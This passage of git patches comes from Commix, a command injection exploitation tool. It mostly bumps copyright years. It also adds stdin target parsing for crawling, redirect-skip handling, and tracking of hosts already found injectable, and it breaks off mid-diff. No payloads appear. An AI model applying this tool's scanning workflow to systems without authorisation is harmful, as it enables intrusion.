General Public License as published by diff --git a/src/core/requests/__init__.py b/src/core/requests/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/requests/__init__.py +++ b/src/core/requests/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 21f7f3dba4..2c8bd55d3f 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 0aa83c9624..b79e87cb90 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 1758605e0c..b3c6729326 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 1dfeb288ee..a07dc0bec8 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index ebca5a03e7..a602d73a2c 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 3b341542df..2abf819227 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index b4c7473177..49c88c01b1 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/__init__.py b/src/core/shells/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/shells/__init__.py +++ b/src/core/shells/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 8283a9eb3e..b1bfe55630 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 0114780b2e..bfbdedd77d 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/__init__.py b/src/core/tamper/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/tamper/__init__.py +++ b/src/core/tamper/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index 2d4fd80b0f..6724aad621 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index 884a211bee..ce28802e9a 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index 1c88cceffa..6b06cd2fca 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index 21081e7cbb..40186a5d40 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index b870ad2612..7720e6c4c1 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index bd3269bb8f..350e8a3b6a 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index f19d538822..a558772774 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py index e641415020..c6dd066fff 100644 --- a/src/core/tamper/multiplespaces.py +++ b/src/core/tamper/multiplespaces.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index 912d91288c..192b840022 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/printf2echo.py b/src/core/tamper/printf2echo.py index eb03120e34..e864a888f9 100644 --- a/src/core/tamper/printf2echo.py +++ b/src/core/tamper/printf2echo.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 585a0e795c..44729569a9 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index 602ec6715c..ef4255cf20 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 9f9ce00f44..90563587c6 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index 867d80567c..5373dee4a5 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index 5fb02052cf..e4c7dec6f1 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 5ded16eccc..b4d61d2a36 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index e969ddb9b4..22b37a6d5f 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index f2e9057300..a59ddc21dc 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 6c50770eb7..e894055abf 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py index 1db614ebf8..202413574a 100644 --- a/src/core/tamper/xforwardedfor.py +++ b/src/core/tamper/xforwardedfor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/testing.py b/src/core/testing.py index 5677e338dc..78637df782 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/thirdparty/__init__.py b/src/thirdparty/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/thirdparty/__init__.py +++ b/src/thirdparty/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/__init__.py b/src/utils/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/utils/__init__.py +++ b/src/utils/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/colors.py b/src/utils/colors.py index 170e024eaa..d7a6bbc249 100644 --- a/src/utils/colors.py +++ b/src/utils/colors.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/common.py b/src/utils/common.py index 8eecc64479..b318946f56 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/crawler.py b/src/utils/crawler.py index af449f865e..b5d7fb8508 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/install.py b/src/utils/install.py index 897894e222..44f1bf1b30 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/logs.py b/src/utils/logs.py index 87686168b2..22734520a7 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/menu.py b/src/utils/menu.py index 4fab4f266a..03d4659326 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/purge.py b/src/utils/purge.py index 3d32bd877a..a34458552e 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/requirments.py b/src/utils/requirments.py index f21690d6fb..8a06414a3a 100644 --- a/src/utils/requirments.py +++ b/src/utils/requirments.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 73d0998c5b..99e573ef8f 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/settings.py b/src/utils/settings.py index e65c44d151..551763bb4a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "27" +REVISION = "28" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -251,7 +251,7 @@ def sys_argv_errors(): VERSION = VERSION + VERSION_NUM + "-dev#" + REVISION COLOR_VERSION = Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL -YEAR = "2014-2022" +YEAR = "2014-2023" AUTHOR_TWITTER = "@ancst" APPLICATION_URL = "https://commixproject.com" APPLICATION_TWITTER = "@commixproject" diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py index 7bdb025297..aa9c77ee70 100644 --- a/src/utils/simple_http_server.py +++ b/src/utils/simple_http_server.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/update.py b/src/utils/update.py index 7282ab2471..9d27770ec2 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/version.py b/src/utils/version.py index a8a1b6de0e..4f2ca1e6fb 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by From f7d72f8a4ce7ed9c79392b7d631bef56ea4d85af Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 4 Jan 2023 07:25:16 +0200 Subject: [PATCH 246/560] Added support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. stdin). --- doc/CHANGELOG.md | 1 + src/core/main.py | 30 ++++++++++++++++++++---------- src/core/requests/redirection.py | 14 +++++++++----- src/utils/settings.py | 2 +- 4 files changed, 31 insertions(+), 16 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 818c2d2511..c51d20d39a 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.7 (TBA) +* Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. stdin). * Revised: Minor improvement regarding adding PCRE_REPLACE_EVAL `/e` modifier (i.e. dynamic code evaluation technique). * Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e `-t` option). diff --git a/src/core/main.py b/src/core/main.py index 6a4d0ee58b..1736391973 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -321,6 +321,22 @@ def init_injection(url): if settings.TIME_RELATIVE_ATTACK: settings.TIME_RELATIVE_ATTACK = False +""" +Using 'stdin' for parsing targets. +""" +def stdin_parsing_target(os_checks_num): + _ = [] + if os_checks_num == 0: + info_msg = "Using 'stdin' for parsing targets list." + print(settings.print_info_msg(info_msg)) + menu.options.batch = True + settings.MULTI_TARGETS = True + for url in sys.stdin: + if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", url, re.I): + url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() + _.append(url.rstrip()) + return _ + """ The main function. """ @@ -870,11 +886,13 @@ def main(filename, url): if settings.CRAWLING: settings.CRAWLING_PHASE = True url_num = 1 - if not menu.options.bulkfile: + if not menu.options.bulkfile and not settings.STDIN_PARSING: crawling_list = 1 output_href = crawler.crawler(url, url_num, crawling_list) output_href.append(url) else: + if settings.STDIN_PARSING: + bulkfile = stdin_parsing_target(os_checks_num) crawling_list = len(bulkfile) for url in bulkfile: output_href += (crawler.crawler(url, url_num, crawling_list)) @@ -889,15 +907,7 @@ def main(filename, url): if not settings.STDIN_PARSING: output_href = output_href + bulkfile else: - if os_checks_num == 0: - info_msg = "Using 'stdin' for parsing targets list." - print(settings.print_info_msg(info_msg)) - menu.options.batch = True - bulkfile = sys.stdin - settings.MULTI_TARGETS = True - for url in bulkfile: - if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", url, re.I): - output_href.append(url.rstrip()) + output_href = stdin_parsing_target(os_checks_num) # Removing duplicates from list. clean_output_href = [] diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index a602d73a2c..86018b8e19 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -62,8 +62,10 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): opener = _urllib.request.build_opener(RedirectHandler()) try: response = opener.open(request, timeout=settings.TIMEOUT) - if url == response.geturl(): + if url == response.geturl() or (settings.CRAWLING and response.geturl() in settings.HREF_SKIPPED): return response.geturl() + elif settings.CRAWLING and url in settings.HREF_SKIPPED: + return url else: while True: if not settings.FOLLOW_REDIRECT: @@ -72,14 +74,16 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" message += "Do you want to follow the identified redirection? [Y/n] > " redirection_option = common.read_input(message, default="Y", check_batch=True) - if redirection_option in settings.CHOICE_YES: settings.FOLLOW_REDIRECT = True - if not settings.CRAWLING: - info_msg = "Following redirection to '" + response.geturl() + "'. " - print(settings.print_info_msg(info_msg)) + info_msg = "Following redirection to '" + response.geturl() + "'. " + print(settings.print_info_msg(info_msg)) + if settings.CRAWLING: + settings.HREF_SKIPPED.append(response.geturl()) return checks.check_http_s(response.geturl()) elif redirection_option in settings.CHOICE_NO: + if settings.CRAWLING: + settings.HREF_SKIPPED.append(url) return url elif redirection_option in settings.CHOICE_QUIT: raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 551763bb4a..07720e03ed 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "28" +REVISION = "29" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a73da295feb01cd6a4bb0a893d184bde7bbfc712 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 5 Jan 2023 09:58:28 +0200 Subject: [PATCH 247/560] Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected. --- doc/CHANGELOG.md | 1 + .../blind/techniques/time_based/tb_handler.py | 2 + .../techniques/classic/cb_handler.py | 2 + .../techniques/eval_based/eb_handler.py | 2 + .../techniques/file_based/fb_handler.py | 2 + src/core/main.py | 103 +++++++++++++----- src/core/modules/shellshock/shellshock.py | 2 + src/utils/settings.py | 5 +- 8 files changed, 88 insertions(+), 31 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index c51d20d39a..c7d3582b35 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.7 (TBA) +* Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected. * Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. stdin). * Revised: Minor improvement regarding adding PCRE_REPLACE_EVAL `/e` modifier (i.e. dynamic code evaluation technique). * Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e `-t` option). diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 7848b9c0c2..b040d64f40 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -457,6 +457,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.CRAWLING: + settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 5d741557a8..03ea59c81b 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -335,6 +335,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.CRAWLING: + settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 0a2d8d7619..0a07053332 100755 --- 